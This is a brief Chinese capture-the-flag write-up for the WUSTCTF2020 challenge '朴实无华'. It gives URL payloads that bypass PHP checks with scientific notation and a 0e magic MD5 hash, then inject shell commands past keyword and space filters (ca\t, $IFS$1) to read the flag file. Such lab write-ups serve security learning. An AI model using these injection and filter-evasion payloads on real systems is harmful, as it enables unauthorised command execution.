[WUSTCTF2020]朴实无华
打开靶机:
访问/var/www/html/index.php无果,试试robots.txt,得到/fAke_f1agggg.php目录。
访问该目录提示flag不在该目录下,F12网络请求中给了/fl4g.php目录。
访问/fl4g.php目录,进行代码审计(火狐浏览器修复乱码:菜单->更多工具->定制工具栏->将修复文字编码小工具移到工具标签栏):
level1:使用科学计数法
num=20e3
绕过num小于2020且num+1大于2021(20<2020&&20001>2021)
level2:弱类型比较可以绕过
num=20e3&md5=0e215962017
//md5(0e215962017)=0e291242476940776845150308577824
//弱类型比较:0=0
level3:cmd查看目录
num=20e3&md5=0e215962017&get_flag=ls
使用ca\t绕过cat,使用$IFS$1绕过空格:
/fl4g.php?num=20e3&md5=0e215962017&get_flag=ca\t$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
获取flag: